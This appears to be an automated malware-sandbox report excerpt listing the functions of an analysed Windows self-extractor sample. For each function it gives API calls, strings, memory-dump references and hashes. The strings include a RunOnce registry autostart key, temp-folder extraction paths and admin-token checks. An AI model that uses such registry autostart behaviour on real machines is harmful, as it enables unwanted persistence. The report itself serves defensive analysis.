C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD21648C
wextract_cleanup0, xrefs: 00007FF6FD216553

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: DeleteFileFreeLocal$AttributesCloseCurrentDirectoryOpenValue
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 3049360512-2947520418
Opcode ID: 412a7dec44b3798a2430baef0d9910c820e9379bb72a94b578006faa3a53e04f
Instruction ID: 39bcb495aaaf87f094ae5aa20c421a562273d8852b5be93f686a9b4c23fd30c3
Opcode Fuzzy Hash: 412a7dec44b3798a2430baef0d9910c820e9379bb72a94b578006faa3a53e04f
Instruction Fuzzy Hash: 2C511A21A0868286EB108B14EA543B977A0FB85B46F94C131DB6DC36D5FF2EF448C7C0

Function 00007FF6FD2165A8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveDirectoryA.KERNELBASE(0000000A,00007FF6FD212E07), ref: 00007FF6FD216643
GetFileAttributesA.KERNELBASE ref: 00007FF6FD216652
GetTempFileNameA.KERNEL32 ref: 00007FF6FD21667F
DeleteFileA.KERNEL32 ref: 00007FF6FD216697
CreateDirectoryA.KERNEL32 ref: 00007FF6FD2166A8

Strings

IXP, xrefs: 00007FF6FD216672
IXP%03d.TMP, xrefs: 00007FF6FD2165E2

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: File$Directory$AttributesCreateDeleteNameRemoveTemp
String ID: IXP$IXP%03d.TMP
API String ID: 4001122843-3932986939
Opcode ID: cd7b86485b10685b83dcd6330150a770b90a6da73959a3ca5b2625007923a5f8
Instruction ID: fffab3cab413ed97ea3a2c9ac9902e8839dd5e77bb9212bbb5cd2f980329749c
Opcode Fuzzy Hash: cd7b86485b10685b83dcd6330150a770b90a6da73959a3ca5b2625007923a5f8
Instruction Fuzzy Hash: 34316F31708A8186EB109B15AA502B9BAA1FB89B85F45C131DF6EC37D5FF3EE445C6C0

Function 00007FF6FD218460 Relevance: 12.1, APIs: 8, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FD218BF4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6FD218C24
Part of subcall function 00007FF6FD218BF4: GetCurrentProcessId.KERNEL32 ref: 00007FF6FD218C32
Part of subcall function 00007FF6FD218BF4: GetCurrentThreadId.KERNEL32 ref: 00007FF6FD218C3E
Part of subcall function 00007FF6FD218BF4: GetTickCount.KERNEL32 ref: 00007FF6FD218C4A
Part of subcall function 00007FF6FD218BF4: GetTickCount.KERNEL32 ref: 00007FF6FD218C5A
Part of subcall function 00007FF6FD218BF4: QueryPerformanceCounter.KERNEL32 ref: 00007FF6FD218C75

GetStartupInfoW.KERNEL32 ref: 00007FF6FD218495
_amsg_exit.MSVCRT ref: 00007FF6FD2184D0
Sleep.KERNEL32 ref: 00007FF6FD2184DF
_initterm.MSVCRT ref: 00007FF6FD218577
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FD2185A4
exit.MSVCRT ref: 00007FF6FD218640
_cexit.MSVCRT ref: 00007FF6FD21864F
_ismbblead.MSVCRT ref: 00007FF6FD21866F

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: 452453f8cba86726c033ce9af079bec980333149c11a377a6a6421c59040ebf2
Instruction ID: e78ae67fbe1bc5c7247a4a4eff9f2d724b64b882b5ef9aacead35b30af5f637f
Opcode Fuzzy Hash: 452453f8cba86726c033ce9af079bec980333149c11a377a6a6421c59040ebf2
Instruction Fuzzy Hash: 5C612B35A0C646A6F7608B25EA90379A2E0FF48794F558035DB6DC22D4FF3EF94196C0

Function 00007FF6FD216294 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6FD21324B), ref: 00007FF6FD2162B9
LocalFree.KERNEL32 ref: 00007FF6FD216332

Part of subcall function 00007FF6FD214F2C: LoadStringA.USER32 ref: 00007FF6FD214FBC
Part of subcall function 00007FF6FD214F2C: MessageBoxA.USER32 ref: 00007FF6FD214FFC

Part of subcall function 00007FF6FD217958: GetLastError.KERNEL32 ref: 00007FF6FD21795C

Strings

<None>, xrefs: 00007FF6FD21634A
, xrefs: 00007FF6FD216388
UPROMPT, xrefs: 00007FF6FD2162A1, 00007FF6FD2162FE

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: bce953315df2136bd9c83a7e38e7c9bcfbdf6b05f60fc9f9bc5cb1955f243e78
Instruction ID: 6051fb2a77e0ee2330a125af8c0f9e7638d7e3fbe4712d465b5b96a61f038dcf
Opcode Fuzzy Hash: bce953315df2136bd9c83a7e38e7c9bcfbdf6b05f60fc9f9bc5cb1955f243e78
Instruction Fuzzy Hash: A6314F71A0C24286E7205B20A65177E7A61FB85789F40D135DB6DC66D1FF7EF0448BC0

Function 00007FF6FD2155C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF6FD215647
CreateFileA.KERNELBASE ref: 00007FF6FD215705
CreateFileA.KERNEL32 ref: 00007FF6FD2157BE

Strings

*MEMCAB, xrefs: 00007FF6FD21563D

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: a2c1f66350d6024a7f804a88bc9b7da19f54bdbcb5e3280bfb267e90ce3ff26c
Instruction ID: c35a26c82117787522ea0be20eb73f50ccfd48d6167d5823f41f1935e3418548
Opcode Fuzzy Hash: a2c1f66350d6024a7f804a88bc9b7da19f54bdbcb5e3280bfb267e90ce3ff26c
Instruction Fuzzy Hash: D461C462A0C78286F7618B14A6853797AA1EB45BA4F148371CB7DC27E0FF3DB40686C0

Function 00007FF6FD215AF1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF6FD215BA0
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6FD215BBA
SetFileTime.KERNELBASE ref: 00007FF6FD215BE2
SetFileAttributesA.KERNELBASE ref: 00007FF6FD215C18
SetDlgItemTextA.USER32 ref: 00007FF6FD215C4B

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD215B67, 00007FF6FD215C5B

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-1955631000
Opcode ID: caf4f2272670990647462f14bfaf3187ac79d74cb37a0834bbd78866cb2a2d6f
Instruction ID: d211e5995b3fafd65130343c8111621dd939c36e9b9d0a502e750dabdb3a90c8
Opcode Fuzzy Hash: caf4f2272670990647462f14bfaf3187ac79d74cb37a0834bbd78866cb2a2d6f
Instruction Fuzzy Hash: 77514E22A19A4681EB619F21D6501BA63B0FB44B54F448272DB7EC36E8FE2EF545C7C0

Function 00007FF6FD216D9C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF6FD216DCC

Strings

TMP4351$.TMP, xrefs: 00007FF6FD216E6E

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: c669d64d882b60482da13300ba4968c1aecf883c3203920dff0371cbf708ca20
Instruction ID: 5518bd6cd218e1a9c6f2384461422a08efae454eb82afb639b1b4a420056fe3b
Opcode Fuzzy Hash: c669d64d882b60482da13300ba4968c1aecf883c3203920dff0371cbf708ca20
Instruction Fuzzy Hash: E7418B62A0868186FB104B24A6103BD7A90BB85BA5F588334DB7EC37D5FF7EE40587C0

Function 00007FF6FD2123C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF6FD212410
RegQueryValueExA.KERNELBASE ref: 00007FF6FD212441
RegCloseKey.KERNELBASE ref: 00007FF6FD21245F

Strings

PendingFileRenameOperations, xrefs: 00007FF6FD21242F
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF6FD212402

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager
API String ID: 3677997916-3057196482
Opcode ID: 72a84aa0c0c68ebabc0f94760f7052dc41f3436717cb00a692564cbfb68d1e7c
Instruction ID: 316bdc45eff4ef82df49c5bc60ef308c7ba3005b5a7846247bd42fbd51a88119
Opcode Fuzzy Hash: 72a84aa0c0c68ebabc0f94760f7052dc41f3436717cb00a692564cbfb68d1e7c
Instruction Fuzzy Hash: 07114F36A08B5287E7109B14E55157AB6B0FF8A750F508135EBADC2798FF2EE4448A80

Function 00007FF6FD2158D0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD213C80: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF6FD213B49), ref: 00007FF6FD213CA4
Part of subcall function 00007FF6FD213C80: PeekMessageA.USER32 ref: 00007FF6FD213CC9
Part of subcall function 00007FF6FD213C80: PeekMessageA.USER32 ref: 00007FF6FD213D0D

WriteFile.KERNELBASE ref: 00007FF6FD215924

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: df09df05b6a8f76d98ff4e568d39aff5741097c23a6c3239c69c04500cd56e3d
Instruction ID: 7ab910376f474aa8783b8086346d7eaaf841467a17f8caa1ed32e5e26418b28a
Opcode Fuzzy Hash: df09df05b6a8f76d98ff4e568d39aff5741097c23a6c3239c69c04500cd56e3d
Instruction Fuzzy Hash: B7210921A0854286E7118F16E644335A7A1AF857A8F54C235DA6DCA6E4FF7EF405CBC0

Function 00007FF6FD2153B8 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF6FD2153C5
SetFileAttributesA.KERNEL32 ref: 00007FF6FD21544A

Part of subcall function 00007FF6FD217D28: FindResourceA.KERNEL32 ref: 00007FF6FD217D52
Part of subcall function 00007FF6FD217D28: LoadResource.KERNEL32 ref: 00007FF6FD217D69
Part of subcall function 00007FF6FD217D28: DialogBoxIndirectParamA.USER32 ref: 00007FF6FD217D9F
Part of subcall function 00007FF6FD217D28: FreeResource.KERNEL32 ref: 00007FF6FD217DB1

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 4017b6c058a6be902cddc169abc6d9dcaedc57a8715b21c16ee5d7d8bc7a3f89
Instruction ID: 5ae08cdb2dab567d20f19fdfd241b38554c6fcc7825681e82a9ab491b9f9f73e
Opcode Fuzzy Hash: 4017b6c058a6be902cddc169abc6d9dcaedc57a8715b21c16ee5d7d8bc7a3f89
Instruction Fuzzy Hash: 6411853191C65282FB118F14A68437466A0FB45319F24C270DB6EC66E1FF7FB88582C0

Function 00007FF6FD217E08 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF6FD217E4F

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: f69c92ee4560cd4f0bb57aa589b20250cdd633262219f505effccc195a14fdcf
Instruction ID: 5b617896d4522fd2575fb4a886731550fbd04036157c98545086c32949813107
Opcode Fuzzy Hash: f69c92ee4560cd4f0bb57aa589b20250cdd633262219f505effccc195a14fdcf
Instruction Fuzzy Hash: 57018012A0C6C1C6F7114B15AA4026DBA90B785BA0F58D270EB79C77D7EF3DE88287C0

Function 00007FF6FD2159B0 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6FD2159E9

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c7d790a02c12fb3e5c56208d3f056b28bd5316e6bc6357f0cdb18446cbb40734
Instruction ID: 25c51235a7947353b85925d98565c164496ce14da378ba044942c6067635ba3c
Opcode Fuzzy Hash: c7d790a02c12fb3e5c56208d3f056b28bd5316e6bc6357f0cdb18446cbb40734
Instruction Fuzzy Hash: 5BF01D326186C2D2EB184F25F6811B876B0EB48B58F148275DB3BC76D4EF79E485C790

Non-executed Functions

Function 00007FF6FD21366E Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 177windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF6FD2136EA
EndDialog.USER32 ref: 00007FF6FD213892
GetDesktopWindow.USER32 ref: 00007FF6FD2138C2
SetWindowTextA.USER32 ref: 00007FF6FD2138E3
SendDlgItemMessageA.USER32 ref: 00007FF6FD213907
GetDlgItem.USER32 ref: 00007FF6FD213924
EnableWindow.USER32 ref: 00007FF6FD213935
EndDialog.USER32 ref: 00007FF6FD213948

Strings

, xrefs: 00007FF6FD2137F6
124, xrefs: 00007FF6FD2138D9
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6FD213775

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $124$C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-2944290832
Opcode ID: ccd9306e1016298e6bebe3b198e952bf491475324bfa792ea5420485550b1857
Instruction ID: 16998923f189589346ffc770de136d19814939cfc35cca794f7c55c4f651e94f
Opcode Fuzzy Hash: ccd9306e1016298e6bebe3b198e952bf491475324bfa792ea5420485550b1857
Instruction Fuzzy Hash: 26717171E0C68286F7609B61A7803796A92AB85B95F54C130CB7EC26C5FF7EF40587C0

Function 00007FF6FD215F7E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215220
Part of subcall function 00007FF6FD2151F8: SizeofResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215231
Part of subcall function 00007FF6FD2151F8: FindResourceA.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215257
Part of subcall function 00007FF6FD2151F8: LoadResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215268
Part of subcall function 00007FF6FD2151F8: LockResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD215277
Part of subcall function 00007FF6FD2151F8: memcpy_s.MSVCRT ref: 00007FF6FD215296
Part of subcall function 00007FF6FD2151F8: FreeResource.KERNEL32(?,?,00000000,00007FF6FD212F6B), ref: 00007FF6FD2152A5

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FB0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FC1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD215FD0
GetDlgItem.USER32 ref: 00007FF6FD215FFD
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD21600E
GetDlgItem.USER32 ref: 00007FF6FD216026
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF6FD213432), ref: 00007FF6FD21603A
FreeResource.KERNEL32 ref: 00007FF6FD216151
SendMessageA.USER32 ref: 00007FF6FD2161B3

Strings

CABINET, xrefs: 00007FF6FD215F8D, 00007FF6FD215FA7

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: CABINET
API String ID: 1305606123-1940454314
Opcode ID: 4cdd7ba035a56cc670f5a63f2d2ca6f6db77a2e8fb1204e6d46781fc6b5b295a
Instruction ID: 32c8c61efe46b9b5e074b71860e6975bd4988c99d5565895643d9292f2c48c0d
Opcode Fuzzy Hash: 4cdd7ba035a56cc670f5a63f2d2ca6f6db77a2e8fb1204e6d46781fc6b5b295a
Instruction Fuzzy Hash: E7416B35A0864286FB108B64AA543796AA0FF89B4AF45C034CB2EC27D1FF3FF00486C0

Function 00007FF6FD211258 Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FD211130: LoadLibraryA.KERNEL32 ref: 00007FF6FD21116D
Part of subcall function 00007FF6FD211130: GetProcAddress.KERNEL32 ref: 00007FF6FD21118F
Part of subcall function 00007FF6FD211130: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6FD2111DC
Part of subcall function 00007FF6FD211130: FreeSid.ADVAPI32 ref: 00007FF6FD21120E
Part of subcall function 00007FF6FD211130: FreeLibrary.KERNEL32 ref: 00007FF6FD21121D

GetCurrentProcess.KERNEL32 ref: 00007FF6FD2112B9
OpenProcessToken.ADVAPI32 ref: 00007FF6FD2112CF
GetTokenInformation.ADVAPI32 ref: 00007FF6FD2112F8
GetLastError.KERNEL32 ref: 00007FF6FD21130C
LocalAlloc.KERNEL32 ref: 00007FF6FD211326
GetTokenInformation.ADVAPI32 ref: 00007FF6FD211354
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6FD2113A1
EqualSid.ADVAPI32 ref: 00007FF6FD2113CC
FreeSid.ADVAPI32 ref: 00007FF6FD2113F1
LocalFree.KERNEL32 ref: 00007FF6FD211400
CloseHandle.KERNEL32 ref: 00007FF6FD211410

Memory Dump Source

Source File: 00000000.00000002.1326141463.00007FF6FD211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FD210000, based on PE: true

Associated: 00000000.00000002.1326123227.00007FF6FD210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326159507.00007FF6FD219000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326179335.00007FF6FD21C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1326199376.00007FF6FD21E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fd210000_nTHivMbGpg.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 5b9a876a687c0cd876b8f10eb9d641b76ea1257b643d82222502781fe655744d
Instruction ID: b088ae4c52d9e3f8c74877f3a216602f0ad762edfd5f0359a7fc9e788c32ca97
Opcode Fuzzy Hash: 5b9a876a687c0cd876b8f10eb9d641b76ea1257b643d82222502781fe655744d
